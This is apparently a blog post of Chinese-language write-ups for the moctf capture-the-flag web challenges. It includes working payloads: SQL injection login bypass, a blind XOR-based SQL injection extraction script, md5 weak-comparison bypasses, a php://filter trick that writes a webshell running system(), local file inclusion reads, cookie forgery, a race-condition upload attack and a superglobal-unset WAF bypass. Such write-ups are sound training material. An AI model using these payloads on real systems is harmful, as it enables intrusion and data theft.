sky's blog

moctf-Web题解

字数统计: 2,522阅读时长: 12 min
2018/01/31 Share

签到

加群就有flag就不说啦
(滑稽脸)xishir师傅弄的oj,打电话打电话!!

一道水题

f12源代码里就有flag,23333

还是水题

常规的前端

1
<input type="password" value="" disabled="disabled" name="password" maxlength="4">

改一下限制就行啦,改成5,输入moctf就有flag

访问限制

抓包,然后发包

1
2
3
4
5
6
7
8
GET /web3/ HTTP/1.1
Host: 119.23.73.3:5001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: NAIVE text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://ctf.codemonster.cn/challenges
Accept-Language: zh-HK
Connection: close

如下即可获得flag

机器蛇

查看robots.txt
发现

1
2
3
user-agent: 
Disallow: /flag327a6c4304ad5938eaf0efb6cc3e53dc.php
Disallow: /index.html

访问f12即可拿到flag

PHP黑魔法

存在文件泄露

1
view-source:http://119.23.73.3:5001/web5/index.php~

可以得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

$flag="moctf{**************}";

if (isset($_GET['a'])&&isset($_GET['b'])) {
$a=$_GET['a'];
$b=$_GET['b'];


if($a==$b)
{
echo "<center>Wrong Answer!</center>";
}
else {
if(md5($a)==md5($b))
{
echo "<center>".$flag."</center>";
echo "By:daoyuan";
}
else echo "<center>Wrong Answer!</center>";
}

}
else echo "<center>好像少了点什么</center>";
?>

是一个弱比较,即md5的0e开头的比较
访问

1
http://119.23.73.3:5001/web5/index.php?a=QNKCDZO&b=s878926199a

即可拿到flag

我想要钱

打开即看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
include "flag.php";
highlight_file(__FILE__);

if (isset($_GET['money'])) {
$money=$_GET['money'];
if(strlen($money)<=4&&$money>time()&&!is_array($money))
{
echo $flag;
echo "<!--By:daoyuan-->";
}
else echo "Wrong Answer!";
}
else echo "Wrong Answer!";
?>

虽然限制了money≤4,但是可以用科学计数法,即访问

1
http://119.23.73.3:5001/web6/?money=10e9

即可拿到flag

登录就对了

一个简单的注入

1
2
username=admin'#
password=1

即可登录成功,f12获得flag

Flag在哪?

一道脑洞题,抓包即可看到302跳转

1
2
3
4
5
where is flag!
I have a flag
I have a frog!
ah~ guess where is flag!
There is no flag!

23333典型的PPAP,我们猜测flagfrog.php
但是注意还是得抓包

1
2
3
4
5
6
7
8
GET /web7/frogflag.php HTTP/1.1
Host: 119.23.73.3:5001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8
Connection: close

发送即可得到flag

死亡退出

打开即可看到源码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
show_source(__FILE__);
$c="<?php exit;?>";
@$c.=$_POST['c'];
@$filename=$_POST['file'];
if(!isset($filename))
{
file_put_contents('tmp.php', '');
}
@file_put_contents($filename, $c);
include('tmp.php');
?>

p牛提过的经典问题
附上p牛的分析

1
https://www.leavesongs.com/PENETRATION/php-filter-magic.html

这里的

1
$c="<?php exit;?>";

会使php文件直接退出,不会执行后续代码,所以我们的目的是绕过这句话
而p牛提出了一个很好的方法:利用base64加解码的写入
例如:

1
c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=&file=php://filter/write=convert.base64-decode/resource=tmp.php

我们来分析一下这句话post上去的流程
首先是$c
当c拼接后变成:

1
<?php exit;?>aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=

然后经过base64-decode解码写入
这个时候写入后的文件变成了

1
^ƫZ<?php system('cat flag.php'); ?>

可以看到之前的<?php exit;?>的被解码成未知字符,而php就可以顺利执行后面的代码了
注:为什么c之前要加一个a
因为在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。
phpexit一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,”phpexita”被正常解码,而后面我们传入的webshell的base64内容也被正常解码。
所以最后发包如下即可获得flag

1
2
3
4
5
6
7
8
9
10
11
12
POST / HTTP/1.1
Host: 119.23.73.3:5003
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 110

c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=&file=php://filter/write=convert.base64-decode/resource=tmp.php

文件包含

基础的文件包含题目
http://119.23.73.3:5001/web8/index.php?file=welcome.txt
我们访问

1
http://119.23.73.3:5001/web8/index.php?file=php://filter/read=convert.base64-encode/resource=flag.php

即可得到

1
SSBoYXZlIGEgZmxhZyEKPD9waHAgCgovL0ZsYWc6IG1vY3Rme2YxbGVfaW5jbHVkNF9lNXN5fQovL0J5OmRhb3l1YW4KCj8+Cg==

解码即可得到flag

美味的饼干

进入后是一个登陆页面
尝试登陆admin,admin
得到cookie

1
ZWUxMWNiYjE5MDUyZTQwYjA3YWFjMGNhMDYwYzIzZWU%3D

解base64

1
ee11cbb19052e40b07aac0ca060c23ee

再解md5

1
user

此时猜想
我们要让cookie成为admin
于是构造
md5

1
21232f297a57a5a743894a0e4a801fc3

再base64

1
MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM=

然后更改cookie,刷新,f12,得到flag

火眼金睛

拿到题目
http://119.23.73.3:5001/web10/
眼睛看花掉,一堆字符串
我们要数里面有多少个moctf
这题应该是考验python的爬取
我们选用正则匹配+python
脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import re

url = "http://119.23.73.3:5001/web10/index.php"
r = requests.get(url=url)
res_tr = r"'100'>(.*?)</textarea>"
flagtxt = re.findall(res_tr,r.content)[0]
re_moctf = r"moctf"
moctf = re.findall(re_moctf,flagtxt)
number = len(moctf)
data = {
"answer":number
}
url2 = "http://119.23.73.3:5001/web10/work.php"
s = requests.post(url=url2,data=data,cookies=r.cookies)
print s.content

运行即可得到flag

简单注入

大家可以先自己做一下再看,这样可能感触比较深:http://119.23.73.3:5004
题目过滤了空格等一堆东西,所以引号闭合比较困难
但是这里可以想到用异或的方法

1
2
3
4
http://119.23.73.3:5004/?id=1'^'1
回显为空白
http://119.23.73.3:5004/?id=1'^'0
回显为Hello

原因是因为

1
2
3
select * from news where id='$id'
select * from news where id='1'^'1'
select * from news where id='1'^'0'

这样就一目了然了,'1'^'1'显然是查不到数据的,因为id=0
'1'^'0'是显然为1的,所以既闭合了引号,也得到了注入方式
所以后面容易构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
id=2'^'(ascii(mid((select(TABLE_NAME)from(information_schema.TABLES)where(TABLE_SCHEMA=database())limit(0,1)),1,1))=1)
```
但是问题来了,这个`limit 0,1`用括号隔开好像不起作用?
我随后又尝试了`limit(1)offset(1)`但是也没起作用,那么怎么查询多条数据呢?
这里我发现`group_concat`没过滤,所以就很简单了
直接附上脚本
```python
import requests

flag = ""
for i in range(1,300):
for j in range(33,127):
# url = "http://119.23.73.3:5004/?id=2'^'(ascii(mid((select(group_concat(TABLE_NAME))from(information_schema.TABLES)where(TABLE_SCHEMA=database())),"+str(i)+",1))="+str(j)+")"
# url = "http://119.23.73.3:5004/?id=2'^'(ascii(mid((select(group_concat(COLUMN_NAME))from(information_schema.COLUMNS)where(TABLE_NAME='do_y0u_l1ke_long_t4ble_name')),"+str(i)+",1))="+str(j)+")"
url = "http://119.23.73.3:5004/?id=2'^'(ascii(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),"+str(i)+",1))="+str(j)+")"
r=requests.get(url=url)
if "Tip" in r.content:
flag +=chr(j)
print flag
break

没时间解释了

一道条件竞争的题目
首先是存在302跳转需要抓包
抓包得到

1
May be u need uploadsomething.php

访问

1
http://119.23.73.3:5006/web2/uploadsomething.php

发现是一个上传类似的页面
随便写一个

1
http://119.23.73.3:5006/web2/uploadsomething.php?filename=111&content=111

得到

1
Flag is here,come on~ http://119.23.73.3:5006/web2/uploads/e34d9b2f222eaa45dfd3f2522d12743a118ba5f7/111

尝试多次

1
2
3
4
5
http://119.23.73.3:5006/web2/uploadsomething.php?filename=flag&content=111
Flag is here,come on~ http://119.23.73.3:5006/web2/uploads/e34d9b2f222eaa45dfd3f2522d12743a118ba5f7/flag

http://119.23.73.3:5006/web2/uploadsomething.php?filename=sky&content=111
Flag is here,come on~ http://119.23.73.3:5006/web2/uploads/e34d9b2f222eaa45dfd3f2522d12743a118ba5f7/sky

发现文件夹路径是固定的,但是文件名是我们控制的,我们去访问就会得到:

1
Too slow!

于是想到条件竞争
开Burp的50线程,一个不断发包

1
http://119.23.73.3:5006/web2/uploadsomething.php?filename=flag&content=111

一个不断请求

1
http://119.23.73.3:5006/web2/uploads/e34d9b2f222eaa45dfd3f2522d12743a118ba5f7/flag

一会儿就看到了flag

unset

源码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
highlight_file('index.php');
function waf($a){
foreach($a as $key => $value){
if(preg_match('/flag/i',$key)){
exit('are you a hacker');
}
}
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}

}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}

if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_GET['flag'])){
if($_GET['flag'] === $_GET['daiker']){
exit('error');
}
if(md5($_GET['flag'] ) == md5($_GET['daiker'])){
include($_GET['file']);
}
}

?>

看到关键代码

1
2
3
4
5
6
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}

发现这是Destoon 20140530最新版超全局变量覆盖导致的安全问题
分析如下:
这里的逻辑是 如果post get cookie请求中的key
如果我们向index.php?x=123提交一个POST请求内容为_GET[x]=123
因为?x=123
所以$_GET内容为array('x'=>'123')
当开始遍历$_POST的时候$__k_GET[x]
所以$$__k就是$_GET[x]也就是array('x'=>'123')
$__v是POST上来的一个数组,内容也是array('x'=>'123')
$$__k == $__v成立
所以我们的超全局变量$_GET就被unset了
由于我们的$_GET已经在前面被unset了 所以即使加了EXTR_SKIP extract($_POST)仍然能够正常的初始化$_GET extract($_GET)的值就成功绕过了waf的检查
然后我们就可以构造出2个0e开头的md5,成功文件包含,用php伪协议读取文件了!
我的payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /index.php?flag=QNKCDZO&daiker=s878926199a&file=php://filter/read=convert.base64-encode/resource=flag.php HTTP/1.1
Host: 119.23.73.3:5101
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=om11lglr53tm1htliteav4uhk4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 112

_GET[flag]=QNKCDZO&_GET[daiker]=s878926199a&_GET[file]=php://filter/read=convert.base64-encode/resource=flag.php

发送即可得到flag

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 签到
  2. 2. 一道水题
  3. 3. 还是水题
  4. 4. 访问限制
  5. 5. 机器蛇
  6. 6. PHP黑魔法
  7. 7. 我想要钱
  8. 8. 登录就对了
  9. 9. Flag在哪?
  10. 10. 死亡退出
  11. 11. 文件包含
  12. 12. 美味的饼干
  13. 13. 火眼金睛
  14. 14. 简单注入
  15. 15. 没时间解释了
  16. 16. unset